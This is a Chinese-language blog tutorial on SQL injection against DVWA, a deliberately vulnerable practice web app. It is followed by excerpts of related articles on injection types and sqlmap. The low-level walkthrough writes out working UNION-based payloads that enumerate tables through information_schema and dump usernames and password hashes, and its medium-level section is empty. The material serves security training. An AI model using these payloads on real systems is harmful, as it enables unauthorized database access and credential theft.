DVWA(三):SQL injection 全等级SQL注入

(本文不定期更新)

一、所需环境:

1.DVWA

2.web环境 phpstudy/wamp

3.burp suite

二、SQL注入产生的原因:

  程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患

用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作。

三、关于SQL注入需要注意的几个点:

1.SQL注入的攻击流程:

  (1)判断注入点:一般分为三大类 GET、POST参数触发SQL注入,Cookie触发注入

  (2)判断注入类型:数字型、字符型、搜索型等

  (3)判断数据库类型

  (4)获取数据库数据,提权

   提供两个学习参考链接:传送门1  传送门2

四、下面演示DVWA的SQL injection模块(显注):

  1.low级别的SQL注入:

  输入1,查询成功。

  

  输入 1 and 1=1 查询成功

  

  输入1 and 1=2 查询成功(说明不是数字型,因为1 and 1=2 在and右边1=2的值是false,如果是数字型,此时应该不会查到东西)

  

  下面验证是否是字符型注入,输入 1‘ and ‘1‘ = ‘1 查询成功

  

  输入1‘ and ’1‘ = ’2  没查到东西 说明是字符型注入

  

  

  2.猜解SQL查询语句中的字段数/:

  输入 1‘ order by 2# 查询成功,#用来注释掉参数后面的单引号

  

  输入 1‘ order by 3# 查询失败 说明只有两个字段,Firstname 和Surname

  

  3.确定显示的字段顺序,这里用union select 联合查询。

   输入 1‘ union select 1,2 #

  

  4.获取当前数据库,输入 1‘ union select 1,database()# 其中database()是获取当前连接的数据库的函数。

  通常from后面都会有一个表名 比如 admin id user之类的union select 1,2 from 这里1,2说明只有两个字段 那么再继续这个语句从from后面的哪个表里面查然后返回页面就会返回1,2这几个数字中的其中几个在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本比如返回 1 那么你把1 替换成user() database() version() 的其中一个也就是 union select user(), 2  这样就可以在页面上爆出 用户名 绝对路径之类的 函数名等。

  

  这里爆出当前连接的数据库为dvwa

  5.获取数据库中所有的表:

  输入:1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

  

  说明数据库中只有两个表,guestbook users

  6.获取表中的字段名:

  输入:1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users‘ #

  可以看到有好多个字段,而我们只需要几个就可以了,user_id,firstname,password

  7.获得数据:

  输入:1‘ union select group_concat(user_id,first_name),group_concat(password) from users #

  

  8.获取账户密码:

  上面的surname中就是密码,因为都是经过加密需要网上解密一下,我们取Gordon这个用户密码进行验证。

  

  到此就拿到了用户名和密码。

 

2.中级:

  

  

参考文章 group_concat的使用 传送门

  

  

  

  

  

  

原文地址:https://www.cnblogs.com/Zh1z3ven/p/12396800.html

时间: 2024-08-04 07:19:14

DVWA(三):SQL injection 全等级SQL注入的相关文章

新手指南:DVWA-1.9全级别教程之SQL Injection

*本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正. DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,

Sql Injection 资料整理

注入类型 Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入) UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Time-based blind SQL injection(基于时间延迟注入) 数据库类型 -A:Access - M:MySQL- S:SQL Server- P:PostgreSQL-

False SQL Injection and Advanced Blind SQL Injection

###################################################################### Exploit Title: False SQL injection and advanced blind SQL injection  ## Date: 21/12/2011              ## Author: wh1ant              ## Company: trinitysoft              ## Group:

SQL Injection 代码审计 1 (转)FreeBuf.COM

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤",尽管如此,SQL注入仍是现在最常见的Web漏洞之一.近期很火的大使馆接连被黑事件,据说黑客依靠的就是常见的SQL注入漏洞. 手工注入思路 自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤. 1.判断是否存在注入,注入是字符型还是数字

SQL injection

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).[1] SQL injection must exploit

使用sqlmap注入DVWA的SQL Injection菜单

1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用admin/password登陆系统,通过firebug工具获取cookie信息. 得到的cookie信息如下: security=low; path=/dvwa/; domain=192.168.0.112 PHPSESSID=0bec860709d15f590768b7713c69b52f; pa

DVWA系列之2 low级别SQL注入

将Security level设为on,在左侧列表中选择"SQL Injection",然后在右侧的"User ID"文本框中输入不同的数字就会显示相应的用户信息. 我们首先需要判断这里所传输的参数是文本型还是数字型,分别输入3和1+2,观察它们显示的结果并不一致,因而就判断出参数类型是文本型. 点击页面右下角的"View Source"可以查看源代码,其中最重要的是如下图所示的两行语句: 第一行是以GET方式获取用户通过id参数传来的值并赋值给

最全防止sql注入方法

最全防止sql注入方法 发布时间: 2012-04-5 浏览次数:19361 分类: PHP教程 (1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='&q

DVWA系列之5 SQL Injection (Blind)

所谓盲注就是指当我们输入一些特殊字符时,页面并不显示错误提示,这样我们只能通过页面是否正常显示来进行判断. 将DVWA Security设置为low,然后选择SQL Injection (Blind),查看网页源码.可以发现与之前不同的是,在mysql_numrows()函数之前多加了一个@符号,后面的注释说明@符号可以抑制报错信息. 盲注其实对渗透并没有太大影响,我们输入"' or 1=1 #"仍然可以显示出所有的数据.整个渗透过程也与之前基本一致.